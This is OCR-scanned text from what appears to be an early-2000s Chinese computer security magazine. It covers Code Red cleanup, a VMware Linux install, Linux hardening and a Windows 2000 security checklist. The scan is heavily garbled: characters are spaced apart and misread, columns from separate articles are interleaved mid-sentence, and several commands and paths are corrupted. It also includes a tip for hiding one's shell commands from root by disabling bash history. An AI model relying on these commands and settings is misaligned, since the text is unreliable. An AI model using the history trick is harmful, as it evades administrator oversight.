的 资源 , 例 如 写 一 个 脚本 把 每 个 登录 用 户 的 卫 发 送

到 自己 的 信箱 对 于 重要 的 服务 器 也 是 一 个 很 好 的 方

法 。

正常 情况 下 ,一 般 的 用 户 没 有 查看 终端 服务 设置

的 权限 , 所 以 他 不 会 知道 你 对 登录 进行 了 卫 审核 , 只

要 把 TSLog. bat 文件 和 TSLog. log 文件 放 在 比较 隐蔽

的 目录 里 就 足够 了 ,不 过 需要 注意 的 是 这 只 是 一 个 简

单 的 终端 服务 日 志 策 略 , 并 没有 太 多 的 安全 保障 措施

和 权限 机 制 ,如 果 服 务 器 有 更 高 的 安全 要 求 , 那 还 是

需要 通过 编程 或 购买 人 侵 监测 软件 来 完成 的 。

总 结 : 其 实在 很 多 时 候 , 系统 管理 员 利 用 小 的 脚

本 能 完成 大 量 的 工作 , 一 个 好 的 系统 管理 员 应 该 学 会

善于 利用 脚本 来 完善 系统 和 避免 重复 劳动 。 千

(上 接 第 243 页 )

5. 对 于 Windows 95/98/ME 用 户 , 您 需

要 手工 编辑 C: \windows \system. ini 文件 ,找到

如 下 行 :

Shell = explorer. exe load. exe - don-

trunold

将 其 改 为 :

Shell = explorer. exe

保存 退出 。

6. 清除 “红色 代码 工 " 蠕虫 留 下 的 系统 后

门 ,搜索 名 为 root, exe 的 文件 ,将 其 删除 。

7. 禁止 Guest 用 户 , 并 将 Guest 用 户 从

Administrators 组 中 删除 (只有 对 于 双 indows

NT/Z2000 用 户 需要 执行 此 步骤 )。

8. 检查 共享 , 对 于 Windows 95/98/ME

用 户 ,应 当 删 除 各 个 硬盘 的 共享 .对 于 Windows

NT7Z2000 用 户 ,确保 你 的 管理 员 口 令 具 有 足够

的 强度 。

9 重新 启动 计算 机 ”人

黑 容 妨

2

文 / 大 磨

Vmware 确实 是 很 酷 的 东西 , 我 喜欢 在 Win2000

下 用 它 , 因为 我 的 工作 平台 是 在 Win2000 下 《也 可 以

使 用 在 Linux 下 ) ,我 可 以 运行 Vmware For win2000 来

实现 , 大 家 可 以 去 Vmware 的 主页 下 载 最 新 的 版 本

(www. vmware. com) ,但 是 现在 已 经 不 是 免费 的 了 。 言

归 正 传 , 我 以 在 Win2000 下 为 例 (在 Linux 下 的 实现

我 不 多 讲 了 , 大 同 小 异 ) 简单 介绍 一 下 安装 〈 以 装

Redhat7 为 例 , 其 他 Linux 版 本 也 差不多 )。

首先 以 Administrator 用 户 登 录 双 indows NT, 安装

Vmware 的 过 程 比较 简单 , 用 户 只 要 简单 地 双击 此 软

件 包 , 即 可 开始 自 解压 并 安装 。 整 个 过 程 只 要 点 击 下

一 步 即 可 。 安 装 过 程 要 不 了 1 分 钟 。 不 过 , 要 注意 ,

Vmware 目前 还 不 能 同 Windows NT 的 屏保 很 好 地 共

处 , 所 以 在 安装 完成 后 要 取 掉 屏保 。 配 置 虚拟 机 过 程

如 下 :

首先 运行 Vmware, 之 后 , 选择 Vmware Configura-

tion Wizard 建立 一 个 虚拟 配置 文件 。 以 下 以 建立 Red

Hat Linux 虚拟 机 为 例 ,配置 Einux 虚拟 机 :

在 我 的 计算 机 上 安装 Red Hat Linux。 运 行

“Vmware Configuration Wizard”, 然后 选 Linux, 选择 保

存 目 录 为 H: \ redhat7( 最 好 给 Vmware 独立 空 出 一 个

分 区 ),Vmware 以 虚拟 方式 在 所 选 定 的 文件 目录 中 建

立 虚 拟 的 Linux 文件 系统 , 下 面 要 安装 的 所 有 Linux

系统 都 放置 在 这 一 目录 中 。 我 的 Guest 0S 要 占用 的 磁

盘 大 小 设 为 2000M, 这 个 数字 由 用 户 自 行 定义 。 不 过

Vmware For Windows 2000 所 能 支持 的 最 大 硬盘 空间

不 能 超过 2000MB。 要 在 虚拟 机 上 使 用 软盘 与 光驱 ,还

要 将 Poppy 和 CD - ROM 选择 项 置 为 Enabled。 如 果

要 使 用 网 络 , 要 求 虚拟 机 以 一 个 独立 的 主机 出 现在 网

络 中 , 则 要 选择 Host - Bridge 选项 。 设 置 完毕 后 ,应 保

存 配置 。 如果 想 对 虚拟 的 配置 进行 更 改 或 添加 虚拟 设

备 , 如 硬盘 光驱、 声卡 等 硬件 , 可 选择 选单 上 的 Set-

tings 选项 中 的 Configuration Editor 进行 配置 。

运行 并 安装 Guest OS

在 Windows 2000 环境 中 安装 Linux 虚拟 机 , 下面

以 Red Hat Linux 7 的 安装 为 例 进行 安装 。 首 先 运 行

Vmware For Windows 2000, 选 择 事 先 建立 好 的 Linux

虚拟 机 , 将 Red Hat Linux 光盘 放 人 光驱 中 , 选 择

“Power 0n "启动 虚拟 机 ,开始 安装 。 便 开始 了 Red Hat

Linux 的 安装 , 安 装 过 程 同 在 一 台独 立 的 计算 机 上 安

装 Red Hat Linux 没有 什么 两 样 。

安装 VMware Tools For Linux 使 X- windows

正常 运行

正常 装 好 以 后 大 家 会 注意 到 Start X 后 , 出 来 的

x- window 分 辩 率 很 差 , 而 且 根 本 不 能 用 , 怎 么 解决

呢 ? 仔细 研究 了 一 下 ,因为 我 从 来 都 是 用 命令 行 的 ,这

次 装 X 是 为 了 用 Satan 等 图 形 的 扫描 工具 。 因 此 上 特

意 到 Vmware 的 主页 看 了 一 遍 , 终 于 有 了 答案 : 它 有 个

附带 的 软件 包 名 叫 : VMware Tools For Linux , 起 的 作

用 就 是 使 X 正 常 运行 ,在 Vmware 的 最 近 的 版 本 内 把

这 个 软件 包 内 置 了 , 只 是 需要 调 出 安装 。 可 以 按照 如

下 步骤 进行 :

先 装 好 Vmware, 再 装 好 Linux,Vmware 的 窗 体 上

有 一 个 Setting 选项 卡 , 此 卡 里 面 有 一 个 按钮 是

VMware Tools Install ,点 击 它 , 会 问 你 是 否 看 帮助 , 按

否 跳 过 ,然后 就 跳出 一 个 窗 体 ,点击 OK 就 可 以 了 。 最

后 在 你 装 好 的 Linux 虚拟 机 上 成 为 Root, 进 行 如 下 操

作 ;

.Vinstall.pl 在 你 的 虚拟 机 中 有 一 个 缺 省 的

VMware Tools Floppy, 你 可 以 把 这 个 loppy 挂 接 到 你

的 文件 系统 上 , 然 后 把 里 面 的 东西 捞 下 来 就 可 以 了 ,

VMware Tools For Linux 就 在 那里 。 有 一 点 要 记 住 , 那

个 Floppy 可 不 是 真 的 软盘 啊 ,不 需要 你 插 和 人 软盘 的 。

安装 完毕 后 Start X, 好 酷 ,1024x768 32Bits。

注 , VMware Tools For Linux 是 内 置 的 , 但 For

FreeBSD 可 不 是 的 ,你 得 到 Vmware 主页 去 下 载 。

首先 , 隔 离 网 络 进行 系统 安

装 ,当然 选择 Custom 方式 , 安装 你

需要 的 软件 包 。

硬盘 分 区 : 如 果 用 Root 分 区 纪 、

录 数 据 , 如 Log 文件 和 Email, 就 可

能 因为 拒绝 服务 产生 大 量 日 志 了

垃 瓜 邮件 , 导 致 系统 崩溃 , 所 以 建

议 为 /var 开辟 单独 的 分 区 , 用 来 存

放 日 志和 邮件 , 以 避免 Root 分 区 被

溢出 。 最 好 为 特殊 的 应 用 程序 单独

开 一 个 分 区 ,特别 是 可 以 产生 大 量

日 志 的 程序 , 建 议 再 为 /home 单独

分 一 个 区 , 这 样 它们 就 不 能 填 满 /

分 区 了 ,以 下 是 硬盘 的 分 区 情况

]/ Toot

/var log

/hacking 我 的 一 些 黑 软

/swap ”不 多 说 了

/home

当 安 装 完 重 新 启动 系统 后 , 最

好 打上 相应 的 系统 安全 补丁 , 请 大

家 养 成 良好 的 习惯 , 记 住 , 你 不 是

在 自己 家 里 装 98, 你 装 的 是 一 个

Linux 服务 器 。 对 于 Redhat 系统 而

言 , 可 以 在 : htp:v/

www. redhat. com/corp/support/er-

rata/ 找 到 补丁 。

Redhat6. 工 以 后 的 版 本 带 有 一

个 工具 Up2date, 它 能 够 测定 哪些 Rpm 包 需 要 升级 , 然后 自动 从 Redhat

的 站 点 下 载 并 完成 安装 。

有 名 话说 的 好 , 要 想 你 的 系统 绝对 安全 , 就 是 拘 断 网 线 。 由 于 我 们

的 机 器 要 对 外 提供 服务 ,所 以 那 是 不 现实 的 , 但 是 关闭 不 必要 的 服务 却

是 必要 的 ,因为 有 些 服 务 会 为 你 的 系统 带 来 麻烦 。

默认 的 Linux 系统 ,运行 了 很 多 的 服务 。 但 是 有 一 些 服 务 是 不 需要

的 , 而 且 很 容易 引起 安全 风险 。 第 一 个 文件 是 /etc/inetd. conf, 它 制定

了 vvusr/sbinV/inetd 将 要 监听 的 服务 , 你 可 能 只 需要 其 中 的 两 个 : Telnet

和 Fitp ,其 他 如 Popd,Imapd 和 Rsh 都 有 可 能 引发 安全 问题 。 用 下 面 的 命

令 显示 没有 被 注释 掉 的 服务 :

大 家 看 最 后 一 行 , 不 就 被 绑 了 个 Rootshell 人 么

的 一 台 Win2000 机 器 上 用 如 下 命令 :

人 四

全 小

|

< 全 国 rr

Si

明 白 了 吧 ?

下 一 个 要 启动 的 是 .re 脚本 , 它 们 决定 了 Init 进

程 要 启动 哪些 服务 。Redhat 系统 下 ,这 些 脚本 在 /ete/

rc. dre3. d( 如 果 你 的 系统 以 X 为 默认 启动 的 话 , 就

是 /etevre. dvre5. d)。 要 在 启动 时 禁止 某 个 服务 , 只

需要 把 大 写 的 $ 蔡 换 为 小 写 的 s; 同 时 ,Redhat 也 提供

一 个 工具 来 帮助 你 关闭 服务 , 输 入 /usr/sbin/setup ,

然后 选择 "system services”, 就 可 以 定制 系统 启动 时 跑

哪些 服务 。 另 外 一 个 选择 是 Chkconfig 命令 , 很 多

Linux 版 本 的 系统 都 自 带 这 个 工具 。 脚 本 名 字 中 的 数

字 是 启动 的 顺序 , 以 大 写 的 玉 开 头 的 是 杀 死 进程 用

的 。

以 下 是 一 些 主要 的 服务 :

SO0Sapmd 笔记 本 需要

S10xmtpd ”网 络 时 间 协 议

S11portmap ”运行 rpe 服务 必需

S15sound ”声卡 相关

SlSnetfs ”mnfs 客户 端

S20rstatd 避免 运行 了 服务, 远程 用 户 可 以 从

中 获取 很 多 信息

9S20rusersd

S20rwhod

S20rwalld

S20bootparamd 无 盘 工 作 站

S25squid 代理 服务

S34yppasswdd NIS 服务 器 ,此 服务 漏洞 很 多

S35ypserv ”NIS 服务 器 ,此 服务 漏洞 很 多 .

S35dhcpd dhecp 服务

S40atd 和 cron 很 相似 的 定时 运行 程序 的

系统 信息

S$S45pcmcia “pcmecia 卡 ,笔记 本

S50snmpd ”SNMP,, 远程 用 户 能 从 中 获得 许多

SS5named DNS 服务

SSSrouted REPP ,没有 必要 就 别 运 行 它

S60lpd 打印 服务

S60mars - nwe “Netware 的 文件 和 打印 服务

S60nfs NFS 服务 器 ,漏洞 极 多

S72amd automount ,mount 远程 用 的

S7Sgated 另外 一 种 路 由 服务 ,例如 OSPF

S$80sendmail 邮件 服务 , 如 关闭 , 仍 然 可 以 发

信 , 只 是 不 能 收 信和 作 中 继

S85httpd Web 服务 器

S87ypbind “NIS 客户 端

S90xfs X font 服务 器

S95innd News 服务 器

Slinuxconf 通过 浏览 器 远程 管理 系统 用 的

用 这 个 命令 查看 在 关闭 启动 脚本 之 前 有 多 少 服

务 在 运行 :

suneagle# ps -eaflwc -1

54

我 的 系统 有 54 种 服务 在 运行 。

当 你 关闭 一 些 服 务 以 后 , 重新 运行 以 上 命令 看 看

少 了 多 少 服务 。 运 行 的 服务 越 少 , 系 统 自 然 越 安全

了 。 用 下 面 命令 查看 哪些 服务 在 运行 :

举例 用 的 系统 故意 开 了 不 少 危险 端口 , 大 家 应

该 明白 ,该 关 的 就 要 关 。

关闭 一 些 不 必要 的 服务 以 后 , 日 志 也 是 需要 我 们

关心 的 一 块 。 配 置 好 的 Unix 系统 日 志 非 常 强大 ,甚至

可 以 做 出 陷 轩 。 所 有 的 日 志 都 在 /var/log 下 〈 仅 对

Linux 系统 而 言 ) , 默 认 情 况 下 Linux 的 日 志 就 很 强大

了 ,除了 Ptp。 但 我 们 可 以 通过 修改 [etce/ftpaccess 或

者 /etce/inetd. conf 来 保证 每 一 个 Ftp 连接 卓志 都 能 鲍

纪录 下 来 。

下 面 是 一 个 修改 Inetd. conf 的 例子 :

ftp stream tcp nowait root /usr/sbin/vtcpd

in.ftpd -1 -EL -i -o

-1 每 一 个 ftp 连接 都 写 到 syslog

- 工 纪录 用 户 的 每 一 个 命令

-i 文件 received ,纪录 到 xfterlog

-o 文件 transmitted ,记录 到 xferlog

删除 /ete/passwd& /ete/shadow 中 的 一 些 系统

账号 ,如 Mail\.News 等 等 。 尽 量 关 闭 匿 名 Fip 服务 , 删

掉 Ftp 用 户 。

/etcev/ftpusers 文件 , 包含 了 不 能 使 用 FTP 的 用 户

列表 ,Root 应 该 在 其 中 。

修改 /etce/securetty, 去 除 终端 ttyp0 -ttyp9, 使

Root 只 能 从 Console 或 者 使 用 ssh 登陆 。/etc/issue,

不 要 让 此 文件 透露 系统 信息 。 同 时 要 修改 [eteyrc. d/

rc/jlocal。

SUID 程序 是 非常 危险 的 , 这 些 程序 可 以 被 普通

用 户 以 euid =0( 即 root) 的 身份 执行 ,只 能 有 少量 程序

被 设置 为 SUD。 用 以 下 命令 列 出 系统 的 SUID 二 进 制

程序 ;

suneagle# find / -perm -4000 -print

用 chmod -s 去 掉 一 些 不 需要 程序 的 suid 位 。

作为 系统 管理 员 , 需要 经 常 对 系统 进行 更 新 和 上

传 文件 , 这 些 通信 过 程 必须 保证 是 安全 的 。 现 在 介绍

两 个 方法 :ssh 和 tcp wrappers。 笔 者 比较 偏向 于 用 ssh,

它 把 你 和 防火 墙 之 间 的 通信 全 部 进行 了 加 密 , 而 tcp

wrappers 没有 做 到 加 密 这 一 点 , 虽然 现在 先进 的 Snif-

fer 技术 也 可 以 嗅 探 到 ssh 的 数据 包 , 但 它 依然 还 是 最

安全 的 。 建 议 用 ssh 完全 取代 Telnet/FTP , 它 能 够 确保

数据 在 网 络 中 的 安全 传输 。ssh 和 tcpwrapper 都 有 它

们 自己 的 日 志 纪录 , 并 设 有 访问 控制 策略 ,如 果 要 深

-人 了 解 sh ,可 以 参考 相关 书籍 。tcpwrappers 尽管 没有

对 数据 进行 加 密 , 但 它 有 日 志 系 统 并 且 可 以 控制 允许

哪些 人 访问 你 的 系统 , 它 在 inetd 中 包装 了 其 他 的 二

进 制 文件 ,如 Telnet、FTP、Finger 等 等 。 系 统 用 Tcp-

wrapper 进行 metd 监听 连接 , 记录 了 所 有 请 求 并 且 与

访问 控制 列表 作 比 较 , 如 果 人 允许 连接 ,Tcpwrapper 将

调用 实际 的 服务 器 进程 来 连接 , 如 严 .telnetd 服务 , 如

果 拒 绝 , 连 接 将 断 开 。 对 Linux 用 户 比 较 幸 运 的 是

tcpwrapper 已 经 被 默认 安装 了 , 我 们 所 要 做 的 就 是 编

辑 /etc/hosts. allow 和 /etc/hosts. deny 两 个 文件 。

注意 以 下 事项 :

1. 尽量 使 用 正 。

2. 首先 通过 /etc/hosts. deny

对 所 有 服务 的 访问 :

ALL: ALL

然后 在 /ete/hosts. alow 中 添加 要 授权 的 机 器 及

服务 。 冒 号 左边 为 服务 ,冒号 右边 为 授权 机 器 。

禁止 来 自任 何 地 方

以 上 的 措施 足以 应 付 一 般 的 网 络 攻击 , 但 你 的 系

统 仍然 不 是 100% 安全 的 , 从 来 就 没有 绝对 安全 的 系

统 , 不 是 么 ? 我 们 来 进一步 加 固 系 统 ! 编辑 /etc/

条 oups, 增 加 wheel 组 〈 其 实 笔者 之 所 以 喜欢 freebsd,

就 是 因为 默认 freebsd 这 些 工作 做 的 很 好 )。 这 个 组 包

含 了 一 些 用 户 , 可 以 执行 /binVsu 等 强大 的 命令 。 对

其 他 用 户 执行 下 面 命令 ,可 以 改善 系统 的 安全 。

suneagje# /bin/chgrp wheel /binvsu

suneagle# /bin/chmod 4730 /bin/su

然后 锁定 一 些 文件 :

hosts. equiv。

r 命 令 可 以 通过 这 些 文件 远程 连 人 你 的 系统 。 先

Touch 这 些 文件 ,然后 Chmod 至 0。

suneagle# /binVvtouch /root/. zhosts /root/. netrc

/etc/hosts. equiv; /bin/ychmod 0 /root/. rhosts /root/

. Ihosts ,. netrc , /etc/

- netrc /etc/hosts. equjv

Windows2000 初级 安全 篇

1. 物理 安全

服务 器 应 该 安放 在 安装 了 监视 器 的 隔离 房间 内 ,

并 且 监视 器 要 保留 15 天 以 上 的 摄像 记录 。 另 外 ,机

箱 、 键 盘 、. 电 脑 桌 抽 层 要 上 锁 , 以 确保 旁人 即使 进入 房

间 也 无 法 使 用 电脑 ,钥匙 要 放 在 安全 的 地 方 。

2. 停 掉 Guest 帐号

在 计算 机 管理 的 用 户 里 面 把 Guest 帐号 停 用 掉 ,

任何 时 候 都 不 允许 Guest 帐号 登陆 系统 。 为 了 保险 起

前 段 时 间 , 中 美 网 络 大 战 , 笔者 特别 关注 了 一 下 , 发 现 绝 大 部 分 被 黑

的 服务 器 都 是 NTZwin2000 的 机 器 , 真是 惨不忍睹 。Win2000 真 的 那么 不

安全 么 ? 其 实 , Win2000 含有 很 多 的 安全 功能 和 选项 , 如 果 你 合理 地 配置

它们 , 那么 它 将 会 是 一 个 很 安全 的 操作 系统 。 笔 者 抽空 翻 了 一 些 网 站 , 整

理 了 这 篇 Checklist 出 来 。 希 望 对 Win2000 管理 员 有 些 帮 助 。

文 / springold

见 , 最 好 给 Cuest 加 一 个 复杂 的 密码 , 你 可 以 打开 记

事 本 ,在 里 面 输入 一 串 包 含 特殊 字符 、 数 字 、 字 母 的 长

字符 串 ,然后 把 它 作 为 Guest 帐号 的 密码 拷 进 去 。

3. 限制 不 必要 的 用 户 数 量

去 掉 所 有 的 Duplicate User 帐户 、 测 试用 帐户 、

共享 帐号 、 普 通 部 门 帐号 等 等 。 用 户 组 策略 设置 相应

权限 , 并 且 经 常 检查 系统 的 帐户 , 删除 已 经 不 在 使 用

的 帐户 。 这些 帐户 很 多 时 候 都 是 黑客 们 人 侵 系统 的 突

破 口 , 系统 的 帐户 越 多 ,黑客 们 得 到 合法 用 户 的 权限

可 能 性 一 般 也 就 越 大 。 国 内 的 NT/Z2000 主机 ,如 果 系

统 帐 户 超过 10 个 , 一 般 都 能 找 出 一 两 个 弱 口 令 帐

户 。 笔 者 曾经 发 现 一 台 主 机 197 个 帐户 中 竞 然 有 180

Linux 还 有 一 个 众所周知 的 命令 : chattr,+i 操

作 , 即使 是 Root, 也 在 -i 之 前 改 不 了 它们 , 先 在 你 的

系统 的 [ete/shadow,vetcvinetd. conf 等 文件 来 个

chattr +i 可 以 避免 一 下 Exploit 给 你 添 后 门 。

对 于 Bash 用 户 来 讲 , 有 个 . bash_history 文件 , 可

以 记录 你 的 所 用 的 命令 , 谁 也 不 希望 其 他 人 包括 Root

知道 自己 融 了 哪些 命令 吧 ? 有 两 种 方法 来 解决 这 个 间

1. 在 自己 的 . bash_profile 文件 中 加 入 一 行 :

HISTFTLESIZE =0

切记 不 要 把 HISTSIZE 置 零 , 那 样 就 无 法 使 用 上

下 键 来 调用 历史 命令 了 。

2. 删除 自己 目录 下 的 . bash_history, 然 后 建立 一

个 连接 :

suneagle$ jn -s /dev/null $HOME/. bash_history

最 后 , 为 保证 物理 安全 , 建议 在 /ete/lilo. conf 中

设置 密码 来 控制 Linux 的 启动 。 全

个 帐号 都 是 弱 口 令 帐 户 。

4. 创建 2 个 管理 员 用 帐号

虽然 这 点 看 上 去 和 上 面 这 点 有 些 矛盾 , 但 事实 上

是 服从 上 面 的 规则 的 。 创建 一 个 一 般 权 限 帐 号 用 来

收 信和 以及 处 理 一 些 日 常事 物 , 另 一 个 拥有 Administra-

tors 权限 的 帐户 只 在 需要 的 时 候 使 用 。 可 以 让 管理 员

使 用 “RunAS” 命 令 来 执行 一 些 需要 特权 才能 作 的 工

作 , 以 方便 管理 。

S$. 把 系统 Administrator 申 号 改名

大 家 都 知道 , Windows 2000 的 Administrator 帐号

是 不 能 被 停 用 的 , 这 意味 着 别人 可 以 一 遍 又 一 遍地 洽

试 破 解 这 个 帐户 的 密码 。 把 Administrator 帐户 改名 可

以 有 效 地 防止 这 一 点 。 当 然 , 请 不 要 使 用 Admin 之 类

的 名 字 , 改 了 等 于 没 改 ,尽量 把 它 伪 装 成 普通 用 户 , 比

如 改 成 :Guestone。

6. 创建 一 个 陷阱 帐号

创建 一 个 名 为 “Administrator” 的 本 地 帐户 , 把 它

的 权限 设置 成 最 低 , 什么 事 也 干 不 了 的 那 种 , 并 且 加

上 一 个 超过 10 位 的 超级 复杂 密码 。 这 样 可 以 让 那些

Scripts Kiddies 忙 上 一 段 时 间 了 , 并 且 可 以 借 此 发 现

它们 的 人 侵 企图 , 或 者 在 它 的 Login Scripts 上 面 做 点

手脚 。

7. 把 共享 文件 的 权限 从 “Everyone ”组 改

成 “授权 用 户 ”

“Everyone” 在 Win2000 中 意味 着 任何 有 权 进 人

你 的 网 络 的 用 户 都 能 够 获得 这 些 共享 资料 。 任 何 时 候

都 不 要 把 共享 文件 的 用 户 设置 成 “Everyone "组 。 包 括

打印 共享 ,默认 的 属性 就 是 “Everyone" 组 的 ,一定 不 要

忘 了 改 。

8. 使 用 安全 密码

一 个 好 的 密码 对 于 一 个 网 络 是 非常 重要 的 , 但 也

是 最 容易 被 忽略 的 。 一 些 公司 的 管理 员 创 建 帐 号 的 时

候 往往 用 公司 名 、 计 算 机 名 ,或 者 一 些 很 容易 猜 到 的

东西 做 用 户 名 , 然后 又 把 这 些 帐 户 的 密码 设置 得 很 简

单 , 比 如 “Welecome”“loveyou”“Letmein” 或 者 和 用 户

名 相同 等 等 。 这 样 的 帐户 应 该 要 求 用 户 首次 登陆 的 时

候 更 改 成 复杂 的 密码 , 还 要 注意 经 常 更 改 密码 。 我 们

给 好 密码 下 了 个 定义 : 安全 期 内 无 法 破解 出 来 的 密码

就 是 好 密码 , 也 就 是 说 ,如果 人 家 得 到 了 你 的 密码 文

档 , 必须 花 43 天 或 者 更 长 的 时 间 才 能 破解 出 来 ,而 你

的 策略 是 42 天 必须 改 密码 。

9. 设置 屏幕 保护 密码

很 简单 也 很 有 必要 , 设 置 屏幕 保护 密码 也 是 防

止 内 部 人 员 破 坏 服 务 器 的 一 个 屏障 。 注 意 不 要 使 用

OpenGL 和 一 些 复杂 的 屏幕 保护 程序 , 浪费 系统 资源 ,

让 他 黑屏 就 可 以 了 。 还 有 一 点 , 所 有 系统 用 户 所 使 用

的 机 器 最 好 也 加 上 屏幕 保护 密码 。

10. 使 用 NTFS 格式 分 区

把 服务 器 的 所 有 分 区 都 改 成 NTES 格式 NTFS 文

件 系 统 要 比 FAT、FAT32 的 文件 系统 安全 得 多。

11. 运行 防毒 软件

其 实 这 一 点 非常 重要 。 一 些 好 的 杀毒 软件 不 仅 能

杀 掉 一 些 著名 的 病毒 , 还 能 查 杀 大 量 木 马 和 后 门 程

序 。 这 样 的 话 “ 黑 客 " 们 使 用 的 那些 有 名 的 木马 就 毫

无 用 武之 地 了 。 不 要 忘 了 经 常 升级 病毒 库 。

12. 保障 备份 盘 的 安全

一 旦 系统 资料 被 破坏 , 备份 盘 将 是 你 恢复 资料 的

惟一 途径 。 备 份 完 资料 后 , 把 备份 盘 放 在 安全 的 地

方 。 千 万 别 把 资料 备份 在 同一 台 服 务 器 上 , 那样 还 不

如 不 要 备份 。

Windows2000 中 级 安全 篇

1. 利用 Win2000 的 安全 配置 工具 来 配置

策略

微软 提供 了 一 套 基 于 MMC (管理 控制 台 ) 安全 配

置 和 分 析 工 具 , 利用 它 你 可 以 很 方便 地 配置 你 的 服务

器 。 具 体内 容 请 参考 微软 主页 ,

http: / /www. microsoft. com/windows2000Vtechin-

fo/howitworks/security/sctoolset. asp

2. 关闭 不 必要 的 服务

Windows 2000 的 Terminal Services( 终 端 服 务 )IS

和 RAS 都 可 能 给 你 的 系统 带 来 安全 漏洞 。 为 了 能 够

在 远程 方便 地 管理 服务 器 , 很 多 机 器 的 终端 服务 都 是

, 开 着 的 , 如 果 你 的 也 开 了 , 要 确认 你 已 经 正确 地 配置

了 终端 服务 。 有 些 恶 意 的 程序 也 能 以 服务 方式 悄悄 地

运行 。 要 留意 服务 器 上 面 开 启 的 所 有 服务 , 定期 (每

天 ) 的 检查 它们 。 下 面 是 C2 级 别 安装 的 默认 服务 :

Computer Browser service TCP/ 卫 NetBIOS Heliper

Microsoft DNS server Spooler

NTLM SSP Server

及 PC Locator WINS

RPC service 多 orkstation

Netiogon Event jog

3. 关闭 不 必要 的 端口

关闭 端口 意味 着 减少 功能 , 在 安全 和 功能 上 面 需

要 作 一 点 决策 。 如 果 服 务 器 安装 在 防火 墙 的 后 面 , 周

的 险 就 会 少 些 , 但 是 , 永远 不 要 认为 你 可 以 高 枕 无 忧

了 。 用 端口 扫描 器 扫描 系统 所 开放 的 端口 , 确定 开放

了 哪些 服务 是 黑客 人 侵 你 的 系统 的 第 一 步 。\ sys-

tem32\ drivers \etc \ services 文件 中 有 知名 端口 和 服务

的 对 照 表 可 供 参考 。 具 体 方法 为 ,

网 上 邻居 一 属性 一 本 地 连接 一 属性 一 Intemet 协

议 (TCP/ 了 正 ) 一 属性 一 高 级 一 选项 一 TCP/IP 筛选 一

属性 , 打 开 TCP7 了 筛选 ,添加 需要 的 TCP 和 UDP 协

议 即 可 。

4. 打开 审核 策略

开启 安全 审核 是 Win2000 最 基本 的 人 侵 检测 方

法 。 当 有 人 尝试 对 你 的 系统 进行 某 些 方式 (如 尝试 用

户 密码 , 改变 帐户 策略 ,未 经 许可 的 文件 访问 等 等 ) 人

侵 的 时 候 , 都 会 被 安全 审核 记录 下 来 。 很 多 管理 员 在

系统 被 人 侵 了 几 个 月 都 不 知道 , 直到 系统 遭 到 破坏 。

下 面 的 这 些 审核 是 必须 开启 的 , 其 他 的 可 以 根据 需要

增加 :

策略 设置

审核 系统 登陆 事件 成 功 ,失败

审核 帐户 管理 成 功 ,失败

审核 登陆 事件 成 功 ,失败

审核 对 象 访问 成 功

审核 策略 更 改 ”成功 ,失败

审核 特权 使 用 成 功 ,失败

审核 系统 事件 成 功 ,失败

5. 开局 密码 策略

策略 设置

”密码 复杂 性 要 求 启用

密码 长 度 最 小 值 6 位

强制 密码 历史 5 次

强制 密码 历史 42 天

6. 开局 帐户 策略

策略 设置

复位 帐户 锁定 计数 器 20 分 钟

帐户 锁定 时 间 20 分 钟

帐户 锁定 阔 值 3 次

7. 设 定安 全 记录 的 访问 权限

安全 记录 在 默认 情况 下 是 没有 保护 的 , 把 它 设置

成 只 有 Administrator 和 系统 帐户 才 有 权 访 问 。

8. 把 敏感 文件 存放 在 另外 文件 服务 器 中

虽然 现在 服务 器 的 硬盘 容量 都 很 大 , 但 你 还 是

应 该 考虑 把 一 些 重 要 的 用 户 数据 (文件 ,数据 表 , 项 目

文件 等 ) 存放 在 另外 一 个 安全 的 服务 器 中 , 并 且 经 常

备份 它们 。

9. 不 让 系统 显示 上 次 登陆 的 用 户 名

默认 情况 下 , 终端 服务 接 人 服务 器 时 , 登陆 对 话

框 中 会 显示 上 次 登陆 的 帐户 名 , 本 地 的 登陆 对 话 框 也

是 一 样 。 这 使 得 别人 可 以 很 容易 地 得 到 系统 的 一 些 用

户 名 , 进而 作 密 码 猜测 。 修 改 注 册 表 可 以 不 让 对 话 杠

里 显示 上 次 登陆 的 用 户 名 ,具体 方法 是 :

HKLMAN\ Software\ Microsoft\、 Windows NT\_ Cur-

rentVersion \Winlogon \DontDisplayLastUserName

把 REG.SZ 的 键 值 改 成 1。

10. 禁止 建立 空 连接

默认 情况 下 , 任何 用 户 都 可 以 通过 空 连接 连 上 服

务 器 ,进而 枚 举 出 帐号 ,猜测 密码 。 我 们 可 以 通过 修改

注册 表 来 禁止 建立 空 连接 :

Local_Machine \ System\ CurrentControlSet\ Control\

LSA - RestrictAnonymous 的 值 改 成 ?1? 即 可 。

11. 到 微软 网 站 下 载 最 新 的 补丁 程序

很 多 网 络 管理 员 没 有 访问 安全 站 点 的 习惯 , 以 至

于 一 些 漏 洞 都 公布 很 入 了 , 还 放 着 服务 器 的 漏洞 不

补 , 给 人 家 当 靶 子 用 。 谁 也 不 敢 保 证 数 百 万 行 以 上 代

码 的 2000 不 出 一 点 安全 漏洞 , 经 常 访问 微软 和 一 些

安全 站 点 ,下 载 最 新 的 Service Pack 和 漏洞 补丁 ,是 保

障 服务 器 长 久 安全 的 惟一 方法 。

Windows2000 高 级 安全 篇

1. 关闭 DirectDraw

这 是 C2 级 安全 标准 对 视频 卡 和 内 存 的 要 求 。 关

局 DirecetDraw 可 能 对 一 些 需 要 用 到 DirectX 的 程序 有

影响 (比如 游戏 , 在 服务 器 上 玩 星际 争霸 ? 我 党. . ),

旧 是 对 于 绝 大 多 数 的 商业 站 点 都 应 该 是 没有 影响

的 。 修改 注册 表

HKLMASYSTEMA\CurrentControlSet \Control \Graph-

icesDrivers \DCI 的 Timeout(REG_DWORD) 为 0 即 可 。

2. 关闭 黑 认 共享

Windows 2000 安装 好 以 后 ,系统 会 创建 一 些 隐 茂

的 共享 ,你 可 以 在 cmd 下 打 net share 查看 它们 。 网 上

有 很 多 关于 下 C 人 侵 的 文章 , 相信 大 家 一 定 对 它 不 陋

生 。 要 禁止 这 些 共享 ,打开 “管理 工具 一 计算 机 管理

一 共享 文件 来 一 共享 ”在 相应 的 共享 文件 夹 上 按 右

键 ,点 “停止 共享 " 即 可 ,不 过 机 器 重新 启动 后 ,这些 共

享 又 会 重新 开启 。

默认 共享 目录

Cd 委 D 书 也 利

ADMIN 串

FAX 吊

了 PC$

NetLogon

PRINT$

3. 禁止 Dump File 的 产生

Dump 文件 在 系统 崩溃 和 蓝屏 的 时 候 是 一 份 很 有

用 的 查找 问题 的 资料 。 然 而 , 它 也 能 够 给 黑客 提供 一

